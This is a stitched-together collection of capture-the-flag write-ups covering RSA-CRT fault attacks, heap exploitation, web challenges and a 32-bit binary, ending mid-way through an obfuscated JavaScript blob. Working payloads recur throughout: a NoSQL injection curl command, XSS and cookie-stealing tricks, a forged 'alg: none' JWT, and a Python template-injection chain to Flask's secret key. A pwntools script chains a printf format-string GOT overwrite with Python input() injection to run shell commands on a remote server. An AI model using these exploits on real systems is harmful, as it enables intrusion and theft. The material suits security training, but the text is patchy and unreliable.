____ __ __ ____ __ __ / ___|__ _ _ _\ \ / /__ _ _ / ___|_ _ ___ ___ ___| \/ | ___ | | / _` | '_ \ V / _ \| | | | | _| | | |/ _ \/ __/ __| |\/| |/ _ \ | |__| (_| | | | | | (_) | |_| | |_| | |_| | __/\__ \__ \ | | | __/ \____\__,_|_| |_|_|\___/ \__,_|\____|\__,_|\___||___/___/_| |_|\___|
Input value: print(vars()){'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': <_frozen_importlib_external.SourceFileLoader object at 0x7fa3b65939e8>, '__spec__': None, '__annotations__': {}, '__builtins__': <module 'builtins' (built-in)>, '__file__': '/home/guessme/can-you-guess-me.py', '__cached__': None, 'exit': <built-in function exit>, 'secret_value_for_password': 'not even a number; this is a damn string; and it has all 26 characters of the alphabet; abcdefghijklmnopqrstuvwxyz; lol', 'flag': 'PCTF{hmm_so_you_were_Able_2_g0lf_it_down?_Here_have_a_flag}', 'exec': <function exec at 0x7fa3b64dc158>, 'val': 0, 'inp': 'print(vars())', 'count_digits': 10}Nope. Better luck next time.
``` |
# Cats Ruin ThingsCrypto
## Challenge
My cat took over my computer and ruined everything. Or maybe, only half of everything? [source](107853e7123432ac8e83abd6a39d326bbdbd1955dd3814fc9a27e33ee95184b2_rsa.py)
nc p1.tjctf.org 8006
## Solution
#### Program operation
We are given an RSA program which signs a flag. This is the signing process
def sign(m, key): p = key.p q = key.q e = key.e d = modinv(e, (p-1)*(q-1)) dp = d%(p-1) dq = d%(q-1)+struct.unpack('i', urandom(4))[0] qInv = modinv(q, p) # decrypt using crt s1 = pow(m, dp, p) s2 = pow(m, dq, q) h = (qInv*(s1-s2))%p s = s2+h*q return [s, e, p*q, p, q]
Here, `m` is decrypted using RSA Chinese Remainder Theorem (CRT), but slightly modified. We notice that `dq` has been modified to include some error.
To compare, here's a [standard RSA CRT decryption](https://github.com/lanjelot/ctfs/blob/master/scripts/crypto/rsa/decrypt-rsa-crt.py) program.
#### Fault Analysis Attack (RSA CRT)
This is a some very good articles on the Fault Analysis Attack.
- https://blog.trailofbits.com/2018/08/14/fault-analysis-on-rsa-signing/- https://www.cryptologie.net/article/371/fault-attacks-on-rsas-signatures/
In short, without errors, this will hold true, where `p` and `q` are factors.
m = s^e mod p m = s^e mod q m = s^e mod n
But since `q` has a fault, `p` can be recovered, since `q` is no longer a factor.
p = gcd( n, (s^e - m) % n )
Now, in context of the program, we have the following information
> Given: flag fin = hash(flag) test = pow(fin, e) % n
> Given: mes hashm = hash(flag+mes) out = rsa_decrypt_crt(hashm, random_error)
> Outputs: test > Outputs: out
So with this, if we assume the random error to be zero, these equations will be true.
# if random_error == 0, # Encryption: out -> hashm/fin -> test fin == hashm encrypt(out) == fin encrypt2(out) == test fin == decrypt(fin) out == decrypt2(test)
# given test, out
So with this, we can apply only encryption. We shall use these equations to do the fault analysis attack. We will compare `test_original` and `test_faulted`.
test_original encrypt(out) == fin_faulted encrypt2(out) == test_faulted
Put it all into a script
$ python3 solve.py Received: Pick an option [1] Sign a message [2] Verify your own signature [-1] Adios!
Received: Enter a message to be signed: Received: e: 65537 Received: N: 28662740426094805307088621857974031143610833843646591346882618386337332835343672331844778981348967653931316129344751337827333571287927616565964871063974527404220259124378197710410251412594386067954743269227370108324844982787365421838248774233776150955455108880909594879354701686281508400784454018153141712714056141956102787588955423884994862476100828259602052674697911274378836670584404483343596656671559241948461934321623253684028915214150087229139562213971738267021999317602177293901813294906122800670874140719440924107506124383898499485507066575804653337392937484798873464852056622373993524920998758919649642463443 Here is your signature: 18039847767254078714095230144517218860563682538350048949348389043950158488173161342174400077601773971391598094658225342960430289544407969019238311191232794759869654205123261685995319184452066562228551853352401027988154730112368995219592521437335913516243409554121468796807691729260312988635424814269919709277909644088264210062313548126010758236331389478986037567397728234381532522703813907450213773972553802635871786891754532399633801802626827157141462173243560679941698077890210412109805543389280693041300919450864961331819193980272457298005765159710134284792945572867889469058910715288191378529696290994241347132914
-^.^-_-^.^-_-^.^-_-^.^-_-^.^-_-^.^-_-^.^-_-^.^-_-^.^-_-^.^-
I heard you wanted to steal my treats. You aren't worthy unless you can decrypt 818067440776360001102650781068337244336779 Received: 6603851543688853262640421123206708703962646135673695409412410653250099873223577336554243440194371120337164201548911007194448608473166910753520059743724049331512050077440685165568213269241240109017970157263794223145238358794931272980252470460464380314500214313780465188946768709823784597225889691224839607383312707412012898040908675907483245569892356201072358121758635857345196764882649666336282403968561593040942744670696483637673225625635809658638510370739559453064158320439113141008393895924282836490932771819921707873472910277577696357028665844558613170455254772512197589: Received: tjctf{cAts_4r3_d3vils_RSACRT}
## Flag
tjctf{cAts_4r3_d3vils_RSACRT} |
In `AsisCTF Quals 2018 - Fifty Dollars` challenge, we can leak `heap` base address using a `use after free` vulnerability, and leak `libc` base address using a `double free` vulnerability (by mounting `fastbin attack`).
This is a good challenge to understand how to exploit `x86_64` binaries with `Full RELRO`, `Canary`, `NX`, `PIE`, and `ASLR` enabled. |
`RCTF 2018 - stringer` challenge contains `off-by-one` and `double free` vulnerabilities. Lesson learned is that if the chunk being allocated is `MMAPED`, the content will not be zero out when using `calloc`.
So, by using `off-by-one` attack, we can set `IS_MMAPED` bit of the target chunk in order to leak a libc address, and then launch the `fastbin attack` (https://github.com/shellphish/how2heap/blob/master/fastbin_dup_into_stack.c) by using `double free` vulnerability in order to overwrite `__malloc_hook`.
This is a good challenge to understand how to exploit `x86_64` binaries with `Full RELRO`, `Canary`, `NX`, `PIE`, and `ASLR` enabled. |
ångstromCTF 2019 -- quick write-ups by @terjanq (Web)===
# Control YouThe flag was in the source code of the webpage **actf{control_u_so_we_can't_control_you}**
# No SequelsThis was a basic NoSQL Injection task.```shellcurl -i https://nosequels.2019.chall.actf.co/login \-H 'Content-type: application/json' \-d '{"username": "admin", "password": {"$gt": "a"}}' \-H 'Cookie: token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhdXRoZW50aWNhdGVkIjpmYWxzZSwiaWF0IjoxNTU1NzE4OTc5fQ.-YQh71DMt2mRIwKmgAKIB16rliriYF4dSilCsYo84-8'```After executing the above command we get a session cookie for the admin and when visiting the `https://nosequels.2019.chall.actf.co/site` we get the flag.**actf{no_sql_doesn't_mean_no_vuln}**
# No Sequels 2This was the same task as before but here we had to use blind NoSQL injection in order to fetch all of the pasword's characters by using the payload above. E.g.```{"username": "admin", "password": {"$gt": "a"}} -> true{"username": "admin", "password": {"$gt": "z"}} -> false```
By bruteforcing all characters we get the password `congratsyouwin` and then the flag: **actf{still_no_sql_in_the_sequel}**
Solving script: [./NoSequels2/solve.py](./NoSequels2/solve.py)
# DOM Validator
*Detailed writeup available here: https://medium.com/@terjanq/xss-auditor-the-protector-of-unprotected-f900a5e15b7b*
We had a simple upload page that allowed you to upload a custom HTML page. You could report suspicious URLs to admin.After uploading the page we get:```html
<html> <head> <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/skeleton/2.0.4/skeleton.min.css"> <script src="https://cdnjs.cloudflare.com/ajax/libs/crypto-js/3.1.2/rollups/sha512.js"></script> <script src="../scripts/DOMValidator.js"></script> </head> <body> <h1>test_post</h1> <script>alert('pwned')</script> </body></html>```
<script>alert('pwned')</script>
The `<script>alert('pwned')</script>` won't be executed because of the `DOMValidator.js` script:
```javascriptfunction checksum (element) { var string = '' string += (element.attributes ? element.attributes.length : 0) + '|' for (var i = 0; i < (element.attributes ? element.attributes.length : 0); i++) { string += element.attributes[i].name + ':' + element.attributes[i].value + '|' } string += (element.childNodes ? element.childNodes.length : 0) + '|' for (var i = 0; i < (element.childNodes ? element.childNodes.length : 0); i++) { string += checksum(element.childNodes[i]) + '|' } return CryptoJS.SHA512(string).toString(CryptoJS.enc.Hex)}var request = new XMLHttpRequest()request.open('GET', location.href, false)request.send(null)if (checksum((new DOMParser()).parseFromString(request.responseText, 'text/html')) !== document.doctype.systemId) { document.documentElement.remove()}```
It calculates some sort document's hash and then compares it with the original. I haven't even looked into the code because I already knew an unintended solution for this one.
The page wasn't setting any `X-XSS-Protection` header so the `XSS-Auditor` in Chrome 74 (that's the version the admin uses) is set to `mode=filter` so any reflected XSS will be filtered and not executed.
So I appended the `xss=<script src="https://cdnjs.cloudflare.com/ajax/libs/crypto-js/3.1.2/rollups/sha512.js">` parameter to the query so the `sha512.js` script will be filtered and the `DOMValidator.js` will crash. Hence, `<script>alert('pwned')</script>` will be executed.
After sending that URL to the admin we get the flag: **actf{its_all_relative}**
# Cookie MonsterOnce again, we've got a simple webpage with URL reporting functionality. After a quick inspection we see two endpoints `/getflag` and `/cookies`. When visiting `/cookies` our `cookies` are being displayed and it looks like `user_DE7aL1xDCe3BauCWqSVqg_0C5bu2078UgQHIqYsF2h0= 311`. That's a valid variable in JavaScript so by including this script on the prepared website ```<script src='https://cookiemonster.2019.chall.actf.co/cookies'></script>```and then reading the window variable```javascriptvar name = Object.getOwnPropertyNames(window).filter(x=>x.indexOf('admin')!=-1)[0];```we get the admin's cookie `admin_GgxUa7MQ7UVo5JHFGLbqzuQfFFy4EDQNwZWAWJXS5_o=` and then the flag: **actf{defund_is_the_real_cookie_monster}**
# GiantURLWe have a website where we can:- create `redirect` URL `GET /redirect`- change admin's password `POST /admin/changepass`- report URL `POST /report`
The website is not protected by any CSRF tokens but the `SameSite=Lax` cookie is set so we can't do any `POST` requests across different origins.
```php= 100 && count(array_unique(str_split($_REQUEST['password']))) > 10) { $password = $_REQUEST['password']; echo 'Successfully changed password.'; } else { echo 'Password is insecure.'; }}file_put_contents("password", $password);?>```
In order to get the flag we have to somehow change the admin's password. We can see that it must be a `POST` request but the `password` can be passed as a URL parameter.
In the `/redirect` we have a vulnerable code:```phpClick on >this link to go to your page!```
In theory we could insert the xss there, like for example: `this link` but CSP will block such attempts because of the`Content-Security-Policy: default-src 'self'; style-src 'unsafe-inline';` header.
However, there is a `ping` feature in `` elements that sends a `POST` request when the link was clicked. So we can insert `this link` in the `/redirect` and then when the admin clicks on that URL their password will change. The full payload:`https://giant_url.2019.chall.actf.co/redirect?url=aa%20ping=/admin/changepass?password=0123456789a0123456789a0123456789a0123456789a0123456789a0123456789a0123456789a0123456789a0123456789a0123456789a0123456789a0123456789a0123456789a0123456789a0123456789a0123456789a0123456789a0123456789a0123456789a0123456789a`
After that we can log in using the new credentials and we get the flag: **actf{p1ng_p0ng_9b05891fa9c3bed74d02a349877b1c60}**
# Cookie CutterThe chalange is about hacking the JWT cookie. To get the flag we have to pass this check:```javascriptlet sid = JSON.parse(Buffer.from(cookie.split(".")[1], 'base64').toString()).secretid;if(sid==undefined||sid>=secrets.length||sid<0){throw "invalid sid"}let decoded = jwt.verify(cookie, secrets[sid]);if(decoded.perms=="admin"){ res.locals.flag = true;}```where the `secrets` is an array containing randomly generated `secrets`
```javascriptlet secret = crypto.randomBytes(32)cookie = jwt.sign({perms:"user",secretid:secrets.length,rolled:res.locals.rolled?"yes":"no"}, secret, {algorithm: "HS256"});secrets.push(secret);```
The cookie looks like:```json{ "alg": "HS256", "typ": "JWT"}{ "perms": "user", "secretid": 1394, "rolled": "no", "iat": 1555925889}```
By providing the cookie: `eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0.eyJwZXJtcyI6ImFkbWluIiwic2VjcmV0aWQiOiJyYW5kb21zdHIiLCJyb2xsZWQiOiJubyJ9.` which after decoding looks like
```json{ "typ": "JWT", "alg": "none"}{ "perms": "admin", "secretid": "randomstr", "rolled": "no"}```
we will get the flag, becasue `secrets["randomstr"]` will return `undefined` and we set the `algorithm` to `none`.
The flag is: **actf{defund_ate_the_cookies_and_left_no_sign}**
# MadlibbinIn the challenge we could insert a template string that will be interpreted in Python's `"".format(args=request.args)` function. So the string `{args}` will return `ImmutableMultiDict([])`. The goal was to read `app.secret_key` value.
By running the server locally and using the script from https://github.com/PequalsNP-team/pequalsnp-team.github.io/blob/master/assets/search.py, I found out the chain of properties that led to `Flask.app` object `{args.__class__.__weakref__.__objclass__._iter_hashitems.__globals__[__loader__].__class__.__weakref__.__objclass__.get_data.__globals__[__loader__].exec_module.__globals__[__builtins__][__build_class__].__self__.copyright.__class__._Printer__setup.__globals__[sys].modules[flask].current_app.secret_key}`.
And the flag is: **actf{traversed_the_world_and_the_seven_seas}**
Solving script: [./Madlibbin/app.py](./Madlibbin/app.py) `$ python3 -m flask run`# NaaSIt was a basic task for cracking the Python's `random` generator. The solution was to request enough `nonces` from `https://naas.2019.chall.actf.co/nonceify` to predict the upcoming ones. To crack the `random` generator I used the tool: https://github.com/tna0y/Python-random-module-cracker.
After successful prediction of the nonces you only had to create a paste with `<script nonce=Nonce1></script><script nonce=Nonce2></script><script nonce=Nonce3></script>...` so you can be sure that when the admin visits the page one of them will work.
After getting the admin's cookie we get the flag: **actf{lots_and_lots_of_nonces}**
Solving script: [./NaaS/solve.py](./NaaS/solve.py) |
## Task
We're given a short platformer and we have to beat it to get the flag.
## Solution
So firstly I "beat" the game normally. But the problem is that the final boss' health doesn't even budge when you hit him, but task author ensured that his health is being affected.
So I had to cheat a bit.
First thing I tried was autoclicker. It sure helps with beginning levels, but boss still seems invincible. So then my teammates told me about sth called CheatEngine - simple program to cheating in simple games. Just what we need. One of the options is game tick acceleration, but even with autoclicker it wasn't enough. So I concluded I had to directly alter the boss' health. Other useful option in CheatEngine is searching for values. You can search for places in memory that have given property.
So normally one would search for boss' health and modify it. But I didn't know exact value so I came up with another plan. I guessed boss health is four byte integer. So I search for 4-byte integers lower than 0xffffffff. Then a got couple hits in and from previous findings searched for such that value decreased. After about five iterations there was only four possible values and one was decreasing by 1 when I was hitting the boss.
So I changed it to 10 and when I resumed the game boss health bar disappeared. I finished it of and there was the finish. And there I was at the title screen happy about myself. Here comes a guy, pulling the flag out from behind the screen.(will add photos later) 
When there was about two thirds of flag visible he stopped. And then he jumped quickly showing the flag for split-second. Eh...
So I had to repeat the process, but I got to the title screen I used CheatEngine speed alteration to slow down the game 10 times and recorded the display with my phone. Then I read the whole flag that is WPI{j0in_th3_illumin@ti_w1th_m3}.
 |
In `MeePwnQuals 2018 - BabySandbox` challenge, lesson learned is that `openat`, `readv`, and `writev` syscalls are the alternatives for `open`, `read`, and `write` syscalls, respectively, when the latter syscalls are blocked. This is an interesting `shell code` challenge to learn bypassing protections like `NX`, `PIE`, and `ASLR` in `x86_32` binaries. |
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<div class="flex-1 mx-2 flex-self-center f4"> <div class="d-none d-sm-block"> <span><span><span>ctf-write-ups</span></span></span><span>/</span><span><span>BlazeCTF2019</span></span><span>/</span>wasm<span>/</span> </div> </div>
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```#!/usr/bin/env python2# -*- coding: utf-8 -*-from pwn import *import sys################################################################################# Provided was a 32bit ELF with a printf bug.# and a ip address and port to connect to.target = "13.233.66.116"port = 6969
# turns out this was a two stage challenge.# found the printf bug pretty quick and i wasted a lot of time trying to get# a address pointing to /bin/sh on the stack so I could pop'a'shell# but in near the end I realizeded I sould problably NOT ignore the system call# that ran a python script and that the python script was also exploitable.
# if you don't know about formatstring things,# you sould check out "lifeoverflow's" from "ALLES!" his youtube video,# that guy is realy good in explaining stuff and is perfect if your to lazy to read.# (or write about it, then you just refer to the video)
# anywhore this ended up being my printf payload.payload = 'fuck'+p32(0x80dc035)+'this'+p32(0x80dc033)+'%1163x%hnn%99411x%hnn\n'# (yeah i know i screwed up with order of writing parts of the word.# but i already trialed and errored my way halfway there before i noticed so i# just went with it.)
# In case you are wondering what I overwrite Its some (idk what's) address on the GOT# that get's called after the payload is dropped .. i just dopped breakpoints# on all addresses that were in the GOT and went for the first one that got called# and the adress I write is 0x8049b88 wich points to this piece of code.''''08049b88 push ebp ; End of unwind block (FDE at 0x80c6bc4), Begin of unwind block (FDE at 0x80c6be4)08049b89 mov ebp, esp08049b8b push aPython2UPrintf ; "python2 -u ./printflag.py"08049b90 call sub_8050790+108808049b95 add esp, 0x408049b98 push 0x0 ; argument #1 for method I_guess_this_is_system08049b9a call I_guess_this_is_system ; I_guess_this_is_system'''
# I also had a payload overwriteing the address to the cat flag thingemagic,# but I lost it. (I should realy start using an other type of version controll# than holding down ctrl+z until it doesn't look fuckedup anymore.)
'''08049b75 push ebp ; Begin of unwind block (FDE at 0x80c6bc4)08049b76 mov ebp, esp08049b78 push aCatPrintflagpy ; "cat printflag.py"08049b7d call sub_8050790+108808049b82 add esp, 0x408049b85 nop08049b86 leave08049b87 ret'''
# So now for stage 2# the python script we can now run and cat on the server looks like:'''
#!/usr/bin/python2
while True: print "Enter number of times to print flag" print "flag " * input("> ")
'''
# input() is used so that allows us to feed it fuctions, as long as# they return a int becose it's getting muliplyed with the string "flag ".# (yeah that makes sense in the wonderfull world of python)
# now we can send it commands and get the amount of flags in return.# so lets make a little function to count the amount of "flag " and return a int#def cf(r): r = r[:r.index("\n")] # there is probebly a better way to r = r.split(" ") # do this but this was like 20 minuts return len(r)-1 # before the end of the CTF .. meh.. # if it works it works right.
# anyway in the code below i set up a connection to the server# drop the printf payload.# and have al little loop dropping payloads for the python script.# like a lot.. like for every god damn charcter in the stdout of a command.# running the command every single time aswell because my lack of finnese# and the runing out of CTF time.. (hehhehe CTFtime)
io = remote(target,port)io.sendline(payload)sleep(2)io.clean() # you don't want al that printf padding to clutter up your recv buffer.
while 1: try: fn = raw_input("$") if fn == "q\n": break # so first i get the length what the command returns io.sendline("len(__import__('os').popen('"+fn[:-1]+"').read())") sleep(0.5) fl = cf(io.recv()) for i in range (0,fl): # and then I run the command over and over again and get all the charcters of the resonse. io.sendline("ord(__import__('os').popen('"+fn[:-1]+"').read()["+str(i)+":"+str(i+1)+"])") # (jep this is how I did it. i could have written the output to a file and leak the file. # but time was of the essence..) sleep(0.2) sys.stdout.write(chr(cf(io.recv()))) #fancy print the output. print '\n' except: # close connection, reconnect and drop payload again in case connection gets dropped or # if something else fuckes up print "I duN G00f3d!!" io.close() io = remote(target,port) io.sendline(payload) sleep(2) io.clean()io.close()
'''[+] Opening connection to 13.233.66.116 on port 6969: Done$lsN0tY0urC0nventionalFl4gFile.txtnot_easyprintflag.py
$cat N0tY0urC0nventionalFl4gFile.txtflag{F1rst_pr1ntf_th3n_pyth0n5_inPuT_fuNct10n__wHy_00hH_whY}
$'''# I managed to capture the flag 3 minutes and 10 seconds before the end of the CTF# Holly ballsack! That was pretty intense moment.
``` |
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|
``Remember the spells from Echo Chamber? Well, they're back! You will have to answer 100 questions before you get the flag.nc hash.tghack.no 2001``
```python
import socketimport subprocessimport reimport structimport binascii as bs
import hashlib
s = socket.socket()s.connect(('hash.tghack.no', 2001))
def encrypt_string(hash_string): sha_signature = \ hashlib.sha256(hash_string.encode()).hexdigest() return sha_signature
def sh512(str): hash_object = hashlib.sha512(str) return hash_object.hexdigest()
def md(str): hash_object = hashlib.md5(str) return hash_object.hexdigest()
while True:
cmd = s.recv(1024) print (cmd) method = re.search("Hash me using (.*),",cmd).group(1).lower() str = re.search(": (.*)",cmd).group(1)
if method == "md5": answer = md(str) bs.hexlify(answer) print answer s.sendall(answer + "\n")
if method == "sha256":
s.sendall(encrypt_string(str) + "\n")
if method == "sha512": answer = sh512(str) bs.hexlify(answer) print answer s.sendall(answer + "\n")
#TG19{one_order_of_sha256_hashbrowns_please}
``` |
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There is a bad JS which hides flag inside. Capture it.
So we were given an obfuscated Javascript file .```var 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_0x25b801=_0x492b('0x7d')[_0x492b('0x7e')]('\x7c'),_0x4fcb28=0x0;while(!![]){switch(_0x25b801[_0x4fcb28++]){case'\x30':_0x7af75e=_0x251514[_0x492b('0x7f')](_0x463d65,_0x7af75e,_0x4ee8d5,_0x4d270e,_0xe8cb42,_0xd6ff35[_0x251514[_0x492b('0x80')](_0x658edd,0xb)],_0x5066c7,0x265e5a51);continue;case'\x31':_0x7af75e=_0x31a69f(_0x7af75e,_0x4ee8d5,_0x4d270e,_0xe8cb42,_0xd6ff35[_0x251514[_0x492b('0x81')](_0x658edd,0x3)],_0x45bf49,0xd4ef3085);continue;case'\x32':_0x4d270e=_0x251514[_0x492b('0x7f')](_0x59ea33,_0x4d270e,_0xe8cb42,_0x7af75e,_0x4ee8d5,_0xd6ff35[_0x251514[_0x492b('0x81')](_0x658edd,0x4)],_0x5930b4,0xf57c0faf);continue;case'\x33':_0x4d270e=_0x59ea33(_0x4d270e,_0xe8cb42,_0x7af75e,_0x4ee8d5,_0xd6ff35[_0x251514[_0x492b('0x82')](_0x658edd,0x8)],_0x5930b4,0x698098d8);continue;case'\x34':_0xe8cb42=_0x251514[_0x492b('0x83')](_0x463d65,_0xe8cb42,_0x7af75e,_0x4ee8d5,_0x4d270e,_0xd6ff35[_0x251514['\x49\x4b\x41\x4f\x72'](_0x658edd,0x8)],_0x5ead1f,0x455a14ed);continue;case'\x35':_0x4ee8d5=_0x21c145(_0x4ee8d5,_0x4d270e,_0xe8cb42,_0x7af75e,_0xd6ff35[_0x251514[_0x492b('0x82')](_0x658edd,0xf)],_0x4ed615,0xfe2ce6e0);continue;case'\x36':_0x7af75e=_0x251514['\x6d\x77\x52\x51\x69'](_0x59ea33,_0x7af75e,_0x4ee8d5,_0x4d270e,_0xe8cb42,_0xd6ff35[_0x658edd+0xe],_0x128368,0xa679438e);continue;case'\x37':_0x4ee8d5=_0x251514[_0x492b('0x84')](_0x31a69f,_0x4ee8d5,_0x4d270e,_0xe8cb42,_0x7af75e,_0xd6ff35[_0x658edd+0xc],_0x15b455,0xe6db99e5);continue;case'\x38':_0x7af75e=_0x251514[_0x492b('0x85')](_0x59ea33,_0x7af75e,_0x4ee8d5,_0x4d270e,_0xe8cb42,_0xd6ff35[_0x251514[_0x492b('0x82')](_0x658edd,0xa)],_0x128368,0xffff5bb1);continue;case'\x39':_0x4ee8d5=_0x251514['\x64\x44\x44\x6b\x7a'](_0x59ea33,_0x4ee8d5,_0x4d270e,_0xe8cb42,_0x7af75e,_0xd6ff35[_0x251514[_0x492b('0x86')](_0x658edd,0x1)],_0x402b90,0xe8c7b756);continue;case'\x31\x30':_0x7af75e=_0x251514['\x64\x44\x44\x6b\x7a'](_0x31a69f,_0x7af75e,_0x4ee8d5,_0x4d270e,_0xe8cb42,_0xd6ff35[_0x251514[_0x492b('0x86')](_0x658edd,0xb)],_0x45bf49,0x6d9d6122);continue;case'\x31\x31':_0x4d270e=_0x251514[_0x492b('0x87')](_0x21c145,_0x4d270e,_0xe8cb42,_0x7af75e,_0x4ee8d5,_0xd6ff35[_0x251514['\x4e\x59\x72\x4f\x66'](_0x658edd,0x4)],_0x299e3a,0xf7537e82);continue;case'\x31\x32':_0x7af75e=_0x251514['\x4f\x58\x70\x47\x6c'](_0x21c145,_0x7af75e,_0x4ee8d5,_0x4d270e,_0xe8cb42,_0xd6ff35[_0x251514[_0x492b('0x88')](_0x658edd,0x2)],_0x3b7019,0x2ad7d2bb);continue;case'\x31\x33':_0x4d270e=_0x251514[_0x492b('0x89')](_0x11d41c,_0x4d270e,_0x5c0887);continue;case'\x31\x34':_0x4d270e=_0x463d65(_0x4d270e,_0xe8cb42,_0x7af75e,_0x4ee8d5,_0xd6ff35[_0x251514[_0x492b('0x88')](_0x658edd,0x9)],_0x1e2e42,0x21e1cde6);continue;case'\x31\x35':_0x7af75e=_0x463d65(_0x7af75e,_0x4ee8d5,_0x4d270e,_0xe8cb42,_0xd6ff35[_0x251514[_0x492b('0x8a')](_0x658edd,0xf)],_0x5066c7,0xd8a1e681);continue;case'\x31\x36':_0x4ee8d5=_0x59ea33(_0x4ee8d5,_0x4d270e,_0xe8cb42,_0x7af75e,_0xd6ff35[_0x251514[_0x492b('0x8a')](_0x658edd,0xd)],_0x402b90,0xfd987193);continue;case'\x31\x37':_0x4ee8d5=_0x31a69f(_0x4ee8d5,_0x4d270e,_0xe8cb42,_0x7af75e,_0xd6ff35[_0x658edd+0x4],_0x15b455,0x4bdecfa9);continue;case'\x31\x38':_0x7af75e=_0x21c145(_0x7af75e,_0x4ee8d5,_0x4d270e,_0xe8cb42,_0xd6ff35[_0x251514[_0x492b('0x8a')](_0x658edd,0x6)],_0x3b7019,0xa3014314);continue;case'\x31\x39':_0x1e1b23=_0x4ee8d5;continue;case'\x32\x30':_0xe8cb42=_0x251514[_0x492b('0x8b')](_0x21c145,_0xe8cb42,_0x7af75e,_0x4ee8d5,_0x4d270e,_0xd6ff35[_0x251514['\x41\x73\x72\x63\x50'](_0x658edd,0x9)],_0x1b82f6,0xeb86d391);continue;case'\x32\x31':_0x4d270e=_0x251514['\x6f\x6a\x63\x6e\x4e'](_0x21c145,_0x4d270e,_0xe8cb42,_0x7af75e,_0x4ee8d5,_0xd6ff35[_0x251514[_0x492b('0x8a')](_0x658edd,0xc)],_0x299e3a,0x655b59c3);continue;case'\x32\x32':_0xe8cb42=_0x251514['\x6f\x6a\x63\x6e\x4e'](_0x31a69f,_0xe8cb42,_0x7af75e,_0x4ee8d5,_0x4d270e,_0xd6ff35[_0x251514['\x53\x4d\x4c\x4b\x57'](_0x658edd,0x6)],_0x380c23,0x4881d05);continue;case'\x32\x33':_0x4d270e=_0x251514[_0x492b('0x8c')](_0x463d65,_0x4d270e,_0xe8cb42,_0x7af75e,_0x4ee8d5,_0xd6ff35[_0x658edd+0x1],_0x1e2e42,0xf61e2562);continue;case'\x32\x34':_0xe8cb42=_0x251514[_0x492b('0x8c')](_0x31a69f,_0xe8cb42,_0x7af75e,_0x4ee8d5,_0x4d270e,_0xd6ff35[_0x251514['\x65\x4e\x75\x71\x67'](_0x658edd,0xa)],_0x380c23,0xbebfbc70);continue;case'\x32\x35':_0x4ee8d5=_0x251514[_0x492b('0x89')](_0x11d41c,_0x4ee8d5,_0x1e1b23);continue;case'\x32\x36':_0x4d270e=_0x31a69f(_0x4d270e,_0xe8cb42,_0x7af75e,_0x4ee8d5,_0xd6ff35[_0x251514[_0x492b('0x8d')](_0x658edd,0x9)],_0x14d485,0xd9d4d039);continue;case'\x32\x37':_0xe8cb42=_0x251514[_0x492b('0x8c')](_0x59ea33,_0xe8cb42,_0x7af75e,_0x4ee8d5,_0x4d270e,_0xd6ff35[_0x658edd+0x7],_0x118641,0xfd469501);continue;case'\x32\x38':_0x4ee8d5=_0x251514[_0x492b('0x8e')](_0x463d65,_0x4ee8d5,_0x4d270e,_0xe8cb42,_0x7af75e,_0xd6ff35[_0x251514[_0x492b('0x8d')](_0x658edd,0x2)],_0x179327,0xfcefa3f8);continue;case'\x32\x39':_0x4ee8d5=_0x251514[_0x492b('0x8e')](_0x59ea33,_0x4ee8d5,_0x4d270e,_0xe8cb42,_0x7af75e,_0xd6ff35[_0x251514[_0x492b('0x8d')](_0x658edd,0x5)],_0x402b90,0x4787c62a);continue;case'\x33\x30':_0x7af75e=_0x251514[_0x492b('0x8e')](_0x21c145,_0x7af75e,_0x4ee8d5,_0x4d270e,_0xe8cb42,_0xd6ff35[_0x251514[_0x492b('0x8d')](_0x658edd,0xa)],_0x3b7019,0xffeff47d);continue;case'\x33\x31':_0xe8cb42=_0x251514['\x7a\x43\x59\x41\x47'](_0x21c145,_0xe8cb42,_0x7af75e,_0x4ee8d5,_0x4d270e,_0xd6ff35[_0x251514[_0x492b('0x8d')](_0x658edd,0xd)],_0x1b82f6,0x4e0811a1);continue;case'\x33\x32':_0x4ee8d5=_0x21c145(_0x4ee8d5,_0x4d270e,_0xe8cb42,_0x7af75e,_0xd6ff35[_0x658edd+0x3],_0x4ed615,0x8f0ccc92);continue;case'\x33\x33':_0x7af75e=_0x251514[_0x492b('0x8e')](_0x59ea33,_0x7af75e,_0x4ee8d5,_0x4d270e,_0xe8cb42,_0xd6ff35[_0x251514['\x69\x65\x44\x64\x74'](_0x658edd,0x2)],_0x128368,0x242070db);continue;case'\x33\x34':_0x4ee8d5=_0x251514[_0x492b('0x8e')](_0x463d65,_0x4ee8d5,_0x4d270e,_0xe8cb42,_0x7af75e,_0xd6ff35[_0x658edd+0x6],_0x179327,0xc040b340);continue;case'\x33\x35':_0x4d270e=_0x251514[_0x492b('0x8e')](_0x21c145,_0x4d270e,_0xe8cb42,_0x7af75e,_0x4ee8d5,_0xd6ff35[_0x658edd+0x0],_0x299e3a,0xf4292244);continue;case'\x33\x36':_0xe8cb42=_0x251514[_0x492b('0x89')](_0x11d41c,_0xe8cb42,_0x593f46);continue;case'\x33\x37':_0x7af75e=_0x21c145(_0x7af75e,_0x4ee8d5,_0x4d270e,_0xe8cb42,_0xd6ff35[_0x251514[_0x492b('0x8d')](_0x658edd,0xe)],_0x3b7019,0xab9423a7);continue;case'\x33\x38':_0x4ee8d5=_0x251514[_0x492b('0x8e')](_0x463d65,_0x4ee8d5,_0x4d270e,_0xe8cb42,_0x7af75e,_0xd6ff35[_0x251514[_0x492b('0x8d')](_0x658edd,0xe)],_0x179327,0xc33707d6);continue;case'\x33\x39':_0x593f46=_0xe8cb42;continue;case'\x34\x30':_0x7af75e=_0x251514[_0x492b('0x8f')](_0x31a69f,_0x7af75e,_0x4ee8d5,_0x4d270e,_0xe8cb42,_0xd6ff35[_0x251514[_0x492b('0x8d')](_0x658edd,0xf)],_0x45bf49,0x1fa27cf8);continue;case'\x34\x31':_0xe8cb42=_0x21c145(_0xe8cb42,_0x7af75e,_0x4ee8d5,_0x4d270e,_0xd6ff35[_0x658edd+0x5],_0x1b82f6,0xfc93a039);continue;case'\x34\x32':_0x4ee8d5=_0x251514[_0x492b('0x8f')](_0x59ea33,_0x4ee8d5,_0x4d270e,_0xe8cb42,_0x7af75e,_0xd6ff35[_0x251514[_0x492b('0x8d')](_0x658edd,0x9)],_0x402b90,0x8b44f7af);continue;case'\x34\x33':_0x4d270e=_0x463d65(_0x4d270e,_0xe8cb42,_0x7af75e,_0x4ee8d5,_0xd6ff35[_0x658edd+0x5],_0x1e2e42,0xd62f105d);continue;case'\x34\x34':_0x